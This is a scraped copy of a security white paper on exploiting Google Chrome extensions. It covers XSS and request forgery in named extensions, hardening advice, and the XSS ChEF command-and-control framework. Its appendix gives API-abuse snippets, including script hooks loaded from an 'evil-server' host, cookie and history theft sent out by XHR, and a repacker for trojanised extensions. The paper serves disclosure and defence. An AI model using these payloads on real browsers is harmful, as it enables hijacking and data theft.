advanced chrome extension exploitation leveraging api powers for

25
Advanced Chrome Extension Exploitation Leveraging API powers for Better Evil Advanced Chrome Extension Exploitation Leveraging API powers for Better Evil Krzysztof Kotowicz [email protected] Kyle Osborn [email protected] Abstract Security research done by multiple researchers [1] (including our own [2][3]) has already shown that benign Google Chrome extensions, being HTML5 web applications, suffer from a similar set of common webbased vulnerabilities. CrossSiteScripting is the most prevalent of them. We explore on this subject demonstrating what possibilities gives exploiting a XSS vulnerability within extension core, abusing multiple chrome.* APIs that are not available to standard web pages. Access to the API allows e.g. to tamper with any visited websites, read/write cookies, access browser history and even changing browser proxy settings. In this white paper we describe most common web vulnerabilities observed in Google Chrome extensions and methods of hardening the extensions. We list individual chrome.* API example abuses and present XSS CheF Chrome Extension Exploitation Framework that facilitates exploiting Google Chrome extensions and manages victim extensions connected to the attackers C&C server. We also describe a simple, practical method of exploitation via repacking existing Chrome Web Store extensions, injecting them with purposely malicious payloads and enticing victim users to install those modified extensions. Common extension vulnerabilities Cross Site Scripting From our experience, the most common way of achieving code execution within extension origin is via introducing malicious vectors into a webpage source, RSS feed, cookies etc. Extensions often access these sources, store them, and introduce them insecurely into their chromeextension:// origin, creating the DOMbased XSS. Similar to XSS vulnerabilities in standard web applications, XSS in chromeextension:// gives attacker almost limitless possibilities in clientside exploitation. XSS vulnerabilities in extension code are extremely dangerous as usually they can escalate to background page document that has access to 1/25 v2.1

Upload: others

Post on 03-Feb-2022

11 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

Krzysztof Kotowicz ­ [email protected] Osborn ­ [email protected]

AbstractSecurity research done by multiple researchers [1] (including our own [2][3]) has already shown that benign Google Chrome extensions, being HTML5 web applications, suffer from a similar set of common web­based vulnerabilities. Cross­Site­Scripting is the most prevalent of them. We explore on this subject demonstrating what possibilities gives exploiting a XSS vulnerability within extension core, abusing multiple chrome.* APIs that are not available to standard web pages. Access to the API allows e.g. to tamper with any visited websites, read/write cookies, access browser history and even changing browser proxy settings.

In this white paper we describe most common web vulnerabilities observed in Google Chrome extensions and methods of hardening the extensions. We list individual chrome.* API example abuses and present XSS CheF ­ Chrome Extension Exploitation Framework that facilitates exploiting Google Chrome extensions and manages victim extensions connected to the attackers C&C server.

We also describe a simple, practical method of exploitation via repacking existing Chrome Web Store extensions, injecting them with purposely malicious payloads and enticing victim users to install those modified extensions.

Common extension vulnerabilities

Cross Site ScriptingFrom our experience, the most common way of achieving code execution within extension origin is via introducing malicious vectors into a webpage source, RSS feed, cookies etc. Extensions often access these sources, store them, and introduce them insecurely into their chrome­extension://origin, creating the DOM­based XSS. Similar to XSS vulnerabilities in standard web applications, XSS in chrome­extension://gives attacker almost limitless possibilities in client­side exploitation. XSS vulnerabilities in extension code are extremely dangerous as usually they can escalate to background page document that has access to

1/25v2.1

Page 2: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

powerful chrome.* APIs, restricted only by extension permissions. See Appendix for exemplary API abuses.

Example ­ Slick RSSTo demonstrate how XSS in extensions can be spotted and exploited we present such vulnerability found in the popular RSS reader ­ Slick RSS together with its related plugin Slick RSS: Feed Finder.

Slick RSS ­ https://chrome.google.com/webstore/detail/ealjoljnibpdkocmldliaoojpgdkcdobFeed Finder ­ https://chrome.google.com/webstore/detail/mpajmofiejfjgeaakelmjklenjaekppa

Both extensions are vulnerable to XSS by means of RSS title. These extensions grab discovered RSS feed title and insecurely introduce them into their own DOM via documentElement.innerHTML, a common DOM XSS sink. Let’s see that vulnerability in code:

Feed Finder component gets the feed title from the visited web page <link> and sends it to extension background.

function findFeedLinks() // Find all the RSS link elements. var result = document.evaluate( '//*[local­name()="link"][contains(@rel, "alternate")] ' + '[contains(@type, "rss") or contains(@type, "atom") or ' + 'contains(@type, "rdf")]', document, null, 0, null);

var feeds = []; ... feeds.push(url: item.href, title: item.title); ... chrome.extension.sendRequest(msg: "feedIcon", feeds: feeds);

Extension background stores feed details in foundFeeds variable.

chrome.extension.onRequest.addListener(function(request, sender) if (request.msg == "feedIcon") foundFeeds[sender.tab.id] = request.feeds;

Popup page gets the feed list to display. Feed title reaches HandleClick function:

chrome.tabs.getSelected(null, function(tab) var feeds = chrome.extension.getBackgroundPage().foundFeeds[tab.id];

2/25v2.1

Page 3: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

currentTab = tab;

if(feeds.length == 1) HandleSingleFeed(feeds[0], tab); return; ...function HandleSingleFeed(feed, tab) ... HandleClick(feed.url, feed.title, areSubscribed);

HandleClick inserts the feed title into extension origin DOM via common DOM XSS sink, innerHTML. Boom!

document.getElementById("heading").innerHTML = "Subscribed to '<strong>" + title + "</strong>'";

The demonstration attack code for exploiting Slick RSS is below:

<link rel="alternate" type="application/rss+xml" href="http://www.example.com/rss.xml" title="My Blog's RSS Feed<iframe id=abc onload=x=new/**/XMLHttpRequest;x.open('get','/manifest.json');x.send();x.onreadystatechange=function()if(x.readyState==4)abc.document.write(x.responseText) ></iframe>">

Injecting the attack code into Slick RSS: Feed Finder:

RSS feed title is then stored inside of the Slick RSS extension, and executed everytime the page is loaded:

3/25v2.1

Page 4: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

This kind of vulnerability is common in Google Chrome extensions, especially in those that display content retrieved from webpage DOM, like note taking extensions & feed readers.

Cross Origin Request ForgeryBy default, manifest v1 extensions (more on manifest versions later) allow all their resources (html, js, css, …) to be reachable from any webpage using chrome­extension://<id>/resource/pathURL. Under certain conditions just loading a resource triggers some side­effects and performs actions within underlying extension. Some of these actions may prove crucial to extension security.

Example ­ Chrome AdBlock 2.5.22Chrome AdBlock is an ad­blocking extension. In version 2.5.22 there was a Cross Site Request Forgery vulnerability, described in more details in [12].

One of extension features enabled users to subscribe to a block list (list describing ad blocking rules) published at certain URLs. This process normally requires UI interaction and user confirmation. One of extension UI pages that took part in it was pages/subscribe.html

The code within that page took URL parameter ‘location’ and submitted it to extension background page for URL fetching and list subscription. The page was called after user confirmed the action.

var queryparts = parseUri.parseSearch(document.location.search); //... Subscribe to a list BGcall("subscribe", id: 'url:' + queryparts.location);

4/25v2.1

Page 5: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

However, the same URL could be accessed from any webpage, e.g. via <iframe> element:

<iframesrc="chrome­extension://<id>/pages/subscribe.html?location=//evil/whitelist"></iframe>

As a result, any web page could silently subscribe user to a list that disables ad­blocking completely. Vulnerability is now fixed.

Hardening Chrome extensionsSecurity vulnerabilities in Google Chrome extensions are unfortunately very common [1], so hardening the extension code becomes an important task, especially for extensions with powerful permissions such as proxy, webRequest, or tabs with wildcard origins. We present a few simple ways that will prevent introducing described vulnerabilities in the code.

Audit for DOM XSS vulnerabilitiesThe most prevalent of extension vulnerabilities is usually exploited via introducing a malicious vector into a webpage that is then grabbed by the extension code and insecurely put into extension DOM, resulting in code execution. This is essentially a description of DOM XSS vulnerability (Chrome extensions work client­side), so for protecting against it, extension authors should audit their code paying attention to sources (e.g. document.title from a webpage) and sinks (e.g. innerHTML in extension code) to remove any insecure combinations of both. One of helpful resources in that area is DOMXSS wiki [11].

Use Content Security PolicyGoogle tries to mitigate the XSS risks by introducing and enforcing Content Security Policy [13] for extensions using new manifest format (v2) [4]. Default settings for this CSP prevent inline scripting, which makes cross­site­scripting ineffective. However, enforcing CSP for current extensions in backward­incompatible. Most of them rely on inline scripting and external resources, so it is impossible to introduce CSP without requiring code changes.

Due to that, adoption rate for new manifest version is very slow ­ our research shows that, out of 1000 most popular Google Chrome extensions hosted at Google Web Store, only 26 use manifest v2. To minimize change for extension users and developers, Google plans to gradually deprecate manifest v1 support with the final kill­switch in Q3 2013 [5]. Unfortunately, until then, evildoers can still rely on insecure by default v1 functionality.

Whitelist web accessible resourcesTo disallow calling extension resources by standard web pages (opening door for CSRF and UI redressing vulnerabilities), Google introduced web_accessible_resourcessetting in the

5/25v2.1

Page 6: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

manifest file [10]. If this setting is present for manifest v1 extensions, only listed extension resources are accessible from web pages via chrome­extension://<id>/resource/path.htmlURL. If this setting is missing, v1 defaults to ‘allow all’ policy. However, only 13 extensions out of top 1000 use web_accessible_resources. Manifest v2 extensions are secure by default ­ resources inside them are blocked by default, and must be whitelisted inweb_accessible_resourcesto use them.

Chrome Extension Exploitation Framework

IntroductionWhen a Chrome extension is exploited, there is generally a one hit chance for the attacker to do what they needed. There are methods to transport the attack code in the extensions background page, however maintaining access can be difficult. One solution to this method is to use a framework to assist in maintaining access. Browser Exploitation Framework (BeEF) [http://www.beefproject.com/] is a great tool for maintaining persistence inside of a user’s DOM session, however it lacks the niche abilities and advantages that a Chrome extension offers.

Because of this, the tool XSS ChEF, Chrome Extension Exploitation Framework [https://github.com/koto/xsschef] was created. Written by Krzysztof Kotowicz, XSS ChEF aims to offer similar functionality as BeEF but specifically targeting Chrome extensions, and the features and APIs provided within. XSS ChEF was created with the intention of targeting Chrome extensions explicitly, with a goal to become a Chrome extensions equivalent to BeEF, and not intended to compete with BeEF outside of extensions.

Once attacker is able to execute JS in a Chrome Extension privileged context, depending on extension permissions, he’s able to:

Monitor open tabs of victims Execute JS on every tab (global XSS) Extract HTML, read/write cookies (also httpOnly), localStorage Get and manipulate browser history Make screenshot of victims window Further exploit e.g. via attaching BeEF hooks, keyloggers etc to visited webpages. Explore filesystem through file:// protocol

ArchitectureXSS ChEF consists of three cooperating parts: server, console and victim hooks. Schematic diagram of the parts is displayed below:

6/25v2.1

Page 7: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

ATTACKER VICTIM(S)

+­­­­­­­­­­­­+ | tab 1 | command | http://.. | +­­­­­­­­­­> | | +­­­­­­­­­­­­+ | +­­­­­­­­­­­­+ +­­­­­­­­­­­+­+ | console | | addon w/XSS | result+­­­­­­­­­­­­+ | | +­­­­­­­­­­­­­+ (XHR/WS) | |<­­­­­­+| tab 2 | | |+­>| ChEF server |<­­­­­­­­­­+| |+­­­­­­>+ https://.. | | |<­+| |+­­­­­­­­­­>| ChEF hook | | | | | +­­­­­­­­­­­­­+ | | +­­­­­­­­­­­­+ +­­­­­­­­­­­­+ +­­­­­­­­­­­+­+ | | +­­­­­­­­­­­­+ | | tab 3 | +­­­­­­­­­­> https://.. | | | +­­­­­­­­­­­­+

ServerServer is a HTTP & WebSockets endpoint that both the exploited extensions (via hook) and the attacker (via console) connect to. It exchanges information between attacker and exploited extensions. Attacker issues commands to execute, server dispatches them to victim hooks. Hooks report results to the server, that dispatches them back to attacker.

XSS ChEF supports three different backends to choose from: PHP/XHR, PHP/WebSockets and node.js/WebSockets. It is recommended to use WebSockets based backend due to dramatic improvement in responsiveness.

Node.js is standalone, PHP backend requires a HTTP server (e.g. Apache) to serve static files.

ConsoleWhen the server is launched, attacker can open the console in any browser using the URL:

http://<server>:<port>/console.html

He is then presented with a command & control panel for exploiting hooked extensions.

7/25v2.1

Page 8: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

Victim hooksSimilar to BeEF hooks, ChEF victim hooks are pieces of bootstrap code that is injected into extensions via XSS vulnerability. Hook files with bootstrap code are served via HTTP from ChEF server and come with hardcoded values for server URL. When executed within extension origin, they try to persist in background page, set up connection back to the server, report basic info and await further commands from the server.

Injecting XSS ChEF

Hook fileAttacker exploits the vulnerable extension by injecting JS hook file:

<img src=xonerror="if(location.protocol.indexOf('chrome')==0)d=document;e=createElement('script');e.src='http://evil­server/xsschef/hook.php';d.body.appendChild(e);">

Escalation to background pageWhen the hook file is fetched and run (e.g. within extension content script) it tries to escalate the context and injects itself into extension background page (which has full access to chrome.* API) ­ that will assert that extension code will persist in browser session as background pages run in, well... the background. This will allow an attacker to maintain access until the browser is completely closed (or until the extension process is killed.)

8/25v2.1

Page 9: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

_xsschef = function() /* main code here*/

if (chrome.extension.getBackgroundPage() && window !== chrome.extension.getBackgroundPage())

// try to persist in background page chrome.extension.getBackgroundPage().eval.apply( chrome.extension.getBackgroundPage(), [__xsschef.toString()+ ";__xsschef();"]);

Escalation is possible thanks to a helpful eval reference with chrome.extension.getBackgroundPage().eval(). This context escalation step will be blocked in extensions using Content Security Policy (where eval is forbidden), however it is perfectly fine for legacy v1 extensions.

Phone homeThe hook file has a hardcoded XSS ChEF server URL. The main part of the code will establish WebSocket or XMLHttpRequest connection back to server (depending on the server type, reporting basic info and awaiting further commands.

Exploitation with XSS ChEFLooking at the console, and attacker can browse hooked victims from connected extensions and proceed with further exploitation.

Using XSS ChEF, the attacker is able to execute arbitrary javascript code in the context of extension or webpage (depending on the Match Patterns given). It can also manipulate cookies, browser history, tabs & windows, and fetch screenshots.

9/25v2.1

Page 10: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

A code snippet repository is accessible within XSS ChEF, it contains a number of pre­written payloads ready to run (e.g. grabbing Google Contact list, changing proxy settings or grabbing login form inputs).

XSS ChEF uses chrome.* APIs extensively ­ the ways of abusing those APIs is described in the Appendix.

However the attacker is always limited to permissions of the original exploited extension.

10/25v2.1

Page 11: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

Malicious extensionsAn attacker gets much more capabilities when he is able to introduce another vector into the mix: a packaged malicious extension installed by user. This gives him the ability to specify all required permissions and package NPAPI [6] plugins for native code execution. Google currently allows distribution of extensions outside of Chrome Web Store, but has plans to restrict the ease of installation in the future [7].

The simplest way of getting user to install malicious extension is by social­engineering that user to install it outside of the Chrome Store. It is also possible to submit purposefully malicious extensions into the Chrome Store.

To host extension outside Web Store one needs to package the extension to.crx file and host it on a server [8]. This is an option often used by plugin authors that, for various reasons, wish to avoid Chrome Web Store. An example of externally hosted Chrome Extension is Yahoo Axis (axis.yahoo.com) . In fact, multiple alternatives to official Chrome Web Store appeared ­ e.g. www.chrome­plugin.com, www.chromeplugins.org. As most of these websites host extension using unencrypted HTTP, they are susceptible to Man­In­The­Middle attack. But attacker still needs:

(a) a convincing extension to make user install it,(b) an universal malicious payload.

To solve issue (a), we’ve developed a repacker script. It is able to inject any code in the background page/script [9] and introduce additional permissions to any existing extension in .crx file. As it turns out, XSS ChEF hook payload is very good solution for issue (b).

The repacker script can also repack an extension from Chrome Web Store based on its extension ID. An example of repacking the RSS Subscriptions extension (by Google):

$ ./repacker­webstore.sh ­q ­u ws://localhost:8080/chefnlbjncdgjeocebhnmkbbbdekmmmcbfjd malicious.crx

This will:

1. fetch extension id nlbjncdgjeocebhnmkbbbdekmmmcbfjd2. add XSS ChEF hook for XSS ChEF server hosted at ws://localhost:80803. and repack into malicious.crx file.

The attacker now needs to convince the user to install the repacked extension via social engineering, spoofed web page, man in the middle attack etc.

11/25v2.1

Page 12: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

ConclusionWhile Chrome provides users excellent security in other avenues, when sensitive APIs are left to be embedded by developers in, mistakes are bound to happen. With the soon to come security features of Chrome extensions, many attacks will be mitigated, and dealt with. However, until CSP has been fully rolled out, and until manifest v2 is fully enforced, vulnerabilities will still be readily exploitable.

It is also possible to create from scratch extensions malicious on purpose and to rewrite existing extensions adding malicious capabilities to them. We presented tools facilitating that and demonstrating how easy it is to exploit XSS vulnerabilities in Google Chrome extensions. We’ve also shown some simple ways of hardening Google Chrome extensions.

12/25v2.1

Page 13: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

Appendix: Individual API examples

chrome.bookmarks

PurposeThe bookmarks API allows a developer to programmatically create, organize, and modify bookmarks within a user’s profile. This could be used for a number of reasons. The developer might be creating a replacement start page, a bookmark organizer, or an extension which syncs bookmarks.

ExampleThe following example, taken from the Chrome Extension API documents, creates a bookmarks folder named “Extension bookmarks”.

chrome.bookmarks.create('parentId': bookmarkBar.id, 'title': 'Extension bookmarks', function(newFolder) console.log("added folder: " + newFolder.title););

This next snippet gives an example of a bookmark being created.chrome.bookmarks.create('parentId': extensionsFolderId, 'title': 'Extensions doc', 'url': 'http://code.google.com/chrome/extensions');

AbuseAn attacker, or malicious developer, could potentially abuse the permissions given by these APIs in a number of different ways.

With chrome.bookmarks.search(), it is simple to grab all bookmarks:chrome.bookmarks.search(“t”,function(bookmarks)

steal(bookmarks));

With the bookmark APIs, it’s possible to monitor creation of bookmarks, as such:chrome.bookmarks.onCreated.addListener(function(bookmarkID)

chrome.bookmarks.get(542+'',function(bookmark)steal(bookmark)

))

The ability to control bookmarks could allow an attacker to maintain lesser persistence of the user’s browser, such as replacing all bookmarks with BeEF hooks, and injecting them into the currently selected tab when a user selects a bookmark.

13/25v2.1

Page 14: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

chrome.browserAction

PurposeThe browserAction api allows a developer to create a button linking to an action, with an optional popup.html file described, usually tasked with displaying information on the page or providing a list of actions to conduct on the current page.

ExampleThe following example, taken from the Chrome Extension API documents, creates a button in the navigation bar, and when clicked, turns the page background red.

chrome.browserAction.onClicked.addListener(function(tab) chrome.tabs.executeScript( null, code:"document.body.style.background='red !important'"););

chrome.browserAction.setBadgeBackgroundColor(color:[0, 200, 0, 100]);

var i = 0;window.setInterval(function() chrome.browserAction.setBadgeText(text:String(i)); i++;, 10);

AbuseThis specific platform API is more difficult to abuse, as it requires the manifest.json file to contain describing parameters about the browserAction api, as such:

"browser_action": "default_icon": "images/icon19.png", // optional "default_title": "Google Mail", // optional; shown in tooltip "default_popup": "popup.html" // optional ,

However, if an attacker were to exploit an extension that utilized this functionality, it would be possible to monitor browserAction popups, and inject data directly into those, modifying data displaying, or actions, of the popup.

chrome.browsingData

PurposeThe browsingData API allows developers to programmatically expunge browser data. The datasets includes are:

14/25v2.1

Page 15: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

appcache cache cookies downloads fileSystems formData history indexedDB localStorage pluginData passwords webSQL

ExampleThe following example, taken from the Chrome Extension API documents, deletes ALL browser data in the past week:

var millisecondsPerWeek = 1000 * 60 * 60 * 24 * 7;var oneWeekAgo = (new Date()).getTime() ­ millisecondsPerWeek;chrome.browsingData.remove( "since": oneWeekAgo, "appcache": true, "cache": true, "cookies": true, "downloads": true, "fileSystems": true, "formData": true, "history": true, "indexedDB": true, "localStorage": true, "pluginData": true, "passwords": true, "webSQL": true, callback);

AbuseThis permission could be used to remove browser all browser caches, paving the way for Man in the Middle attacks, such as AppCache poisoning [14].

chrome.contentSettings

PurposeThe contentSettings API allows developers to programmatically control the browser settings that allow or deny access to use of cookies, javascript, images, plugins, popups, and notifications, on a per­site basis.

15/25v2.1

Page 16: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

ExampleThe following example, taken from the Chrome Extension API documents, is interacted via a browserAction HTML page,

chrome.contentSettings[plugins].set( 'primaryPattern': ‘https://www.google.com/*’, 'setting': ‘block’, 'scope': ‘regular' );

AbuseIf an extension with this permission is exploited, and attacker could utilize it to remove content restrictions golbally, allowing for a larger exploitation surface. Allowing plugins globally, for example, and then utilizing a Flash or Java bug to further exploit could be a possible scenario.

chrome.cookies

PurposeThe cookies API allows developers to interact with cookies. This includes the ability to create, edit, delete, and access cookies.

Permissions to cookies are given via Match Patterns in manifest.json.

ExampleThe following example, taken from the Chrome Extension API documents, creates an array of cookies in the `cache` array:

function onload() chrome.cookies.getAll(, function(cookies) for (var i in cookies) cache.add(cookies[i]); );

AbuseGiven the Match Pattern permissions provided in manifest.json, an attacker could do a few things with this:

Steal cookies to all sites permitted:

chrome.cookies.getAll(, function(cookies) a = JSON.stringify(cookies) );sendXHR(a) // where sendXHR is a pre­defined XMLHttpRequest function

16/25v2.1

Page 17: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

If an attacker were to discover a Cross­Site Scripting vulnerability in a website that relied on the value of a cookie, the attacker could inject the payload directly into the cookie of that website. The following is an example of a cookie being set within the context of www.google.com. Usually it would be difficult to set a vulnerable cookie without some sort of other web application exploit, but in this instance, it is possible to inject a cookie with a payload directly into the cookie store of that website.

chrome.cookies.set( url: “http://www.google.com/", name: "XSS", value: "<script>alert(1)</script>", domain: ".google.com")

chrome.extension

PurposeThe extension API is a bundled API in all chrome extensions that provides some basic functionality to extensions. This includes “Message Passing”, a method for extensions to communicate between content scripts, and methods of grabbing current extension information.

ExampleThe following examples provide information to the extension about itself:

chrome.extension.getBackgroundPage() // returns the background window object running page of the extensionchrome.extension.getURL(‘image.jpg’) // returns the relative path of image.jpg in the extension’s URIchrome.extension.getViews() // return all the extension’s “views” (window processes)chrome.extension.isAllowedFileSchemaAccess // Boolean, if allowed to access file:///

AbuseTwo of the API extension methods, getBackgroundPage() and getViews(), can be used to assist persistence of the exploit.

chrome.history

PurposeThe history API allows developers to access and modify the profile browser history. The use case for this could be for various reasons. The developer might want to create a start screen replacement, or an extension that syncs browser history.

ExampleThe following example, queries the history API for all the history available in the profile.

17/25v2.1

Page 18: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

chrome.history.search( 'text': '','maxResults':0 , function(results) dir(results));

AbuseIf an attacker were to gain access to an extension with the history API permission, that attacker could steal all browser history like so:

chrome.history.search( 'text': '','maxResults':0 , function(results) a = JSON.stringify(results) );sendXHR(a) // where sendXHR is a pre­defined XMLHttpRequest function

chrome.idle

PurposeThe idle API allows developers to discern whether or not the browser is idle (not being used by the user.) This could be used to determine whether or not it’s an appropriate time to trigger some function that requires heavier resource usage or syncing within the extension.

ExampleThe following example will determine whether or not the browser has been active in the past 15 seconds. If it has been active, the value returned with be “active”. Other responses are “idle” and “locked”.

chrome.idle.queryState(15, function(a) dir(a))

AbuseIf an attacker to compromise an extension with this API permission, they would be able to time further attacks against the browser based on whether or not the user was actually using the browser.

chrome.management

PurposeThe management API is given to extensions that manage lists of extensions, and even uninstall extensions.

Example

18/25v2.1

Page 19: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

The following example, gets a list of installed extensions:

chrome.management.getAll( function(extensions) dir(extensions) )

This example will actually uninstall ALL extensions in a browser instance:

chrome.management.getAll( function(extensions) for(i in extensions) chrome.management.uninstall(i[‘id’]) )

AbuseAn attacker could use these functions to enumerate all the extensions installed in a browser’s session. One method developed to discovered installed extensions from a webpage is Krzysztof Kotowicz’s, which can be found here:http://blog.kotowicz.net/2012/02/intro­to­chrome­addons­hacking.htmlThis uses a list of extensions, and attempts to source in resources. But since an attacker must have a list of extension IDs, it can be impractical. With the management API, the attacker is able to list ALL installed extensions, and potentially find those with vulnerabilities to leverage the attack.

The attacker is also able to enable and disable extensions, which could also be used to further exploit other browser extensions.

chrome.pageCapture

PurposeThe pageCapture API allows developers to create MHTML blobs of the page.

ExampleThe following example, taken from the Chrome Extension API documents, is interacted via a browserAction HTML page,

chrome.pageCapture.saveAsMHTML(tabId:1,function(blob) functionToHandleBlobs(blob);)

19/25v2.1

Page 20: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

AbuseAn attacker could utilize this functionality to take screenshots of the page the user is viewing, post rendering of the page, allowing for easier access to sensitive data. Note: it is also possible to take a screenshot via chrome.tabs.captureVisibleTab

chrome.proxy

PurposeThe proxy API allows a developer to programmatically set proxy settings within the browser.

ExampleThe following example, taken from the Chrome Extension API documents, sets the current browser’s instance proxy to SOCS5 with the host 1.2.3.4.

var config = mode: "fixed_servers", rules: proxyForHttp: scheme: "socks5", host: "1.2.3.4" , bypassList: ["foobar.com"] ;chrome.proxy.settings.set( value: config, scope: 'regular', function() );

AbuseIf an attacker were to obtain access to an extension with this permission, he would be able to change the browser’s proxy settings, creating an effective Man in the Middle attacker to all traffic passing through the browser.

chrome.storage

PurposeThe storage API allows for a more advanced use of localStorage, including the ability to sync localStorage up to Google’s Chrome Sync.

ExampleThe following example, taken from the Chrome Extension API documents, is interacted via a

20/25v2.1

Page 21: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

browserAction HTML page,

function saveChanges() // Get a value saved in a form. var theValue = textarea.value; // Check that there's some code there. if (!theValue) message('Error: No value specified'); return; // Save it using the Chrome extension storage API. chrome.experimental.storage.sync.set('value': theValue, function() // Notify that we saved. message('Settings saved'); );

AbuseAn attacker would utilize this API to maintain persistence in an Extension. A good example of this is the Slick RSS reader vulnerability. Data (provided from the attacker) is stored locally, and is executed every time it is rendered, allowing the attacker persistence even after the browser has been fully closed.

chrome.tabs

PurposeThe tabs API is the most commonly utilized API. It provides deveolopers the functions necessary to interact with tabs, windows, and DOM instances inside those tabs. It is probably the most powerful, and dangerous, API extension. The tabs API also inherits the chrome.windows API, they are inclusive.

ExampleThe following example, taken from the Chrome Extension API documents, turns the current tab’s background page red.

function click(e) chrome.tabs.executeScript(null, code:"document.body.style.backgroundColor='" + e.target.id + "'"); window.close();

document.addEventListener('DOMContentLoaded', function () var divs = document.querySelectorAll('div'); for (var i = 0; i < divs.length; i++) divs[i].addEventListener('click', click);

21/25v2.1

Page 22: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

);

AbuseWhen an attacker gains access to an extension with the tabs API, they are able to read the title name of all tabs in the browser, close tabs, change tab URLs, and execute JavaScript code within the context of those tabs (taking into consideration Match Pattern permissions given to that extension). Below is a simple example of a BeEF hook being injected into a tab:

chrome.tabs.executeScript(1, code:” d=document; e=createElement('script'); s.src = 'http://127.0.0.1:3000/hook.js'; // BeEF hook here s.setAttribute('onload','beef_init();'); d.body.appendChild(e) " );

chrome.tts

PurposeThe tts API allows a developer to synthesize text­to­speech using Chrome’s TTS engine.

ExampleThe following example, taken from the Chrome Extension API documents, will speak “Hello, world”, to a user.

chrome.tts.speak('Hello, world.');

AbuseAn attacker could scare a victim into emailing their passwords by convincing the victim that the computer is haunted.

chrome.webRequest

PurposeThe webRequest API allows developers to programmatically monitor, modify, and block in­flight HTTP requests made by the browser.

22/25v2.1

Page 23: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

ExampleThe following example, taken from the Chrome Extension API documents, blocks request to the *://www.evil.com/* URL.

chrome.webRequest.onBeforeRequest.addListener( function(details) return cancel: true; , urls: ["*://www.evil.com/*"], ["blocking"]);

AbuseAccess to the actual data contained within the requests is pretty tightly wrapped. If an attacker were to gain access to an extension with this permission, they would not be able to access cookies, POST body data, or sensitive response data. Attacker can block and/or redirect requests to URL of his choosing.

23/25v2.1

Page 24: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

References[1] An Evaluation of the Google Chrome Extension Security Architecture ­ Nicholas Carlini, Adrienne Porter Felt, and David Wagner, University of California, Berkeley http://www.eecs.berkeley.edu/~afelt/extensionvulnerabilities.pdf

[2] Chrome addons hacking: want XSS on google.com?The World According to Koto, Krzysztof Kotowiczhttp://blog.kotowicz.net/2012/02/chrome­addons­hacking­want­xss­on.html

[3] Hacking Google Chrome OSMatt Johansen, Kyle Osborn, BlackHat USA 2011http://www.blackhat.com/html/bh­us­11/bh­us­11­briefings.html#Johansen

[4] More secure extensions, by defaultAdam Barth, The Chrome Bloghttp://blog.chromium.org/2012/02/more­secure­extensions­by­default.html

[5] What's Next for Chrome Extensions? p26Mike West, Google I/O 2012https://mkw.st/p/io12­whats­next­for­chrome­extensions/#26

[6] NPAPI PluginsChrome Extensions Documentationhttp://code.google.com/chrome/extensions/npapi.html

[7] Adding extensions from other websitesChrome WebStore FAQhttp://support.google.com/chrome_webstore/bin/answer.py?hl=en&answer=2664769

[8] PackagingChrome Extensions Documentationhttp://code.google.com/chrome/extensions/packaging.html

[9] Background PagesChrome Extensions Documentationhttp://code.google.com/chrome/extensions/background_pages.html

24/25v2.1

Page 25: Advanced Chrome Extension Exploitation Leveraging API powers for

Advanced Chrome Extension ExploitationLeveraging API powers for Better Evil

[10] Web Accessible ResourcesChrome Extensions Documentationhttp://code.google.com/chrome/extensions/manifest.html#web_accessible_resources

[11] DOMXSS wikiStefano Di Paola, Minded securityhttp://code.google.com/p/domxsswiki/wiki/Introduction

[12] Chrome addons hacking: Bye, Bye, AdBlock filtersKrzysztof Kotowiczhttp://blog.kotowicz.net/2012/03/chrome­addons­hacking­bye­bye­adblock.html

[13] Content Security PolicyW3Chttp://www.w3.org/TR/CSP/

[14] Fork of sslstrip demonstrating AppCache poisoningKrzysztof Kotowiczhttps://github.com/koto/sslstrip/tree/master/app_cache_poison

For future versions of this WhitePaper, visit the URL:

http://kyleosborn.com/bh2012

25/25v2.1